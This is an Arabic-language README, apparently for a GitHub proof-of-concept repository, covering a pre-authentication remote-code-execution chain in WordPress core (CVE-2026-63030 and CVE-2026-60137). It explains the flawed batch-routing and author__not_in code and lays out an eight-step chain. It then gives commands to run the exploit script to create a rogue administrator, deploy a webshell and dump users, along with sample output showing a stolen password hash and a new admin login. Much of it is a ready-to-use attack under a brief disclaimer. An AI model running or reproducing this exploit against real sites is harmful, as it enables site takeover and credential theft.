
ثغرة تنفيذ كود عن بُعد (RCE) قبل المصادقة في نواة ووردبريس عبر الالتباس في مسار دُفعات REST + حقن SQL (CVE-2026-63030 + CVE-2026-60137)
CVE-2026-63030 (درجة CVSS 9.8) وCVE-2026-60137 (درجة CVSS 9.1) تشكّلان سلسلة تنفيذ برمجيات عن بُعد قبل المصادقة حرجة في نواة ووردبريس. تؤثّر الثغرتان في جميع تثبيتات ووردبريس الافتراضية بالإصدارات 6.9.0–6.9.4 و7.0.0–7.0.1.
تم اكتشاف السلسلة بشكل مستقل بواسطة GPT-5.6 Sol Ultra (من OpenAI) في ما يزيد قليلاً عن 10 ساعات وبتكلفة نحو 25 دولارًا — وهي فئة ثغرات تقدّر قيمتها بنحو 500,000 دولار في أسواق وسطاء الاستغلال.
يحقّق المهاجم غير المصادَق تنفيذ برمجيات عن بُعد (RCE) عبر:
author__not_in (CVE-2026-60137) — تجاوز تعقيم absint() باستخدام سلسلة نصية عددية (scalar)WP_Post وهمية في الذاكرةcustomize_changeset — الاقتراض المؤقت لهوية المسؤولparse_request — إعادة تشغيل REST API بصلاحيات مرتفعةPOST /wp/v2/users بصفة مسؤول — إنشاء حساب مسؤول جديدالتثبيتات النشطة: أكثر من 472 مليون (43% من جميع المواقع)
اكتُشفت بواسطة: GPT-5.6 Sol Ultra عبر Adam Kues (Searchlight Cyber)، يوليو 2026
PoC للسلسلة: Mustafa Can İPEKÇİ (nukedx)
التصحيح: WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 يوليو 2026)
| الفرع | الإصدار المتأثر | الإصدار المُصحَّح |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | حقن SQL فقط (CVE-2026-60137) | 6.8.6 |
يحتفظ معالج الدُفعات REST في ووردبريس (serve_batch_request_v1) بمصفوفتين: $validation[] (نتائج التحقق) و$matches[] (معالِجات التوجيه). عندما تفشل wp_parse_url() في تحليل مسار غير صالح (///)، يتم دفع كائن WP_Error إلى سلسلة التحقق ولكن ليس إلى سلسلة مطابقة التوجيه:
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error( 'parse_path_failed', ... );
continue; // ← SKIPS $matches[] — desync by one index
}
يستخدم الاستغلال استدعاءات دُفعات متداخلة (تكرارية) لتجاوز قيود الطرق وتعقيم المعاملات معًا.
author__not_in (CVE-2026-60137)يطبّق WP_Query تعقيم absint() فقط داخل فرع is_array(). عندما تصل author__not_in كسلسلة نصية عددية (scalar)، يتم تخطّي التعقيم تمامًا:
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) ); // ONLY if array
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // scalar passes raw
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // SQL INJECTION
}
الحمولة: 0) UNION ALL SELECT ...-- - تُغلق قائمة NOT IN وتُلحق استعلام SQL عشوائيًا.
[1] Batch desync → bypass auth + param checks
[2] UNION SELECT → forge 7 fake WP_Post objects in cache
├─ Trigger post — [embed] shortcode
├─ Changeset post — post_type=customize_changeset, post_status=future
├─ Outer partner — post_parent=changeset (Loop 1)
├─ oEmbed target — cache backing
├─ Nav menu item — post_type=nav_menu_item
├─ Request post — post_type=request, post_status=parse (Loop 2)
└─ Inner partner — post_parent=request
[3] oEmbed processing → wp_update_post() → hierarchy cycle detection
[4] Loop 1 fix → writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Loop 2 fix → writes request post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
[8] POST /wp/v2/users → administrator created
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt # or: nothing — stdlib only
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com
# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check
# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id
# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : https://target.com
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi — database reconnaissance
[+] Database version : 8.0.46
[+] Database user : wp_user@localhost
[+] Database name : wordpress_db
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [6, 7, 8]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_a1b2c3d4 password: Wp2!e5f6g7h8i9j0
+======================================================================+
| EXPLOITATION COMPLETE |
+======================================================================+
Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
Login : https://target.com/wp-login.php
| الملف | الغرض |
|---|---|
cve_2026_63030.py | استغلال لهدف واحد (بدون تبعيات) |
requirements.txt | تبعيات بايثون (لا يُطلب أي منها) |
لأغراض اختبار الأمان المصرّح به والبحث التعليمي فقط. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.
| المتطلب | السبب | الافتراضي؟ |
|---|
| وجود منشور واحد منشور على الأقل | تغذية ذاكرة تخزين oEmbed المؤقتة بروابط loopback | ✅ "Hello World" |
| عدم وجود ذاكرة تخزين كائنات ثابتة | يجب ألا تتجاهل split_the_query صفوف UNION | ✅ File cache |
| إمكانية الوصول إلى REST API | إعادة الدخول عبر parse_request تتطلب خادم REST | ✅ |
| كتابة مباشرة على نظام الملفات | رفع الإضافات يتطلب FS_METHOD=direct | ✅ معظم الاستضافات |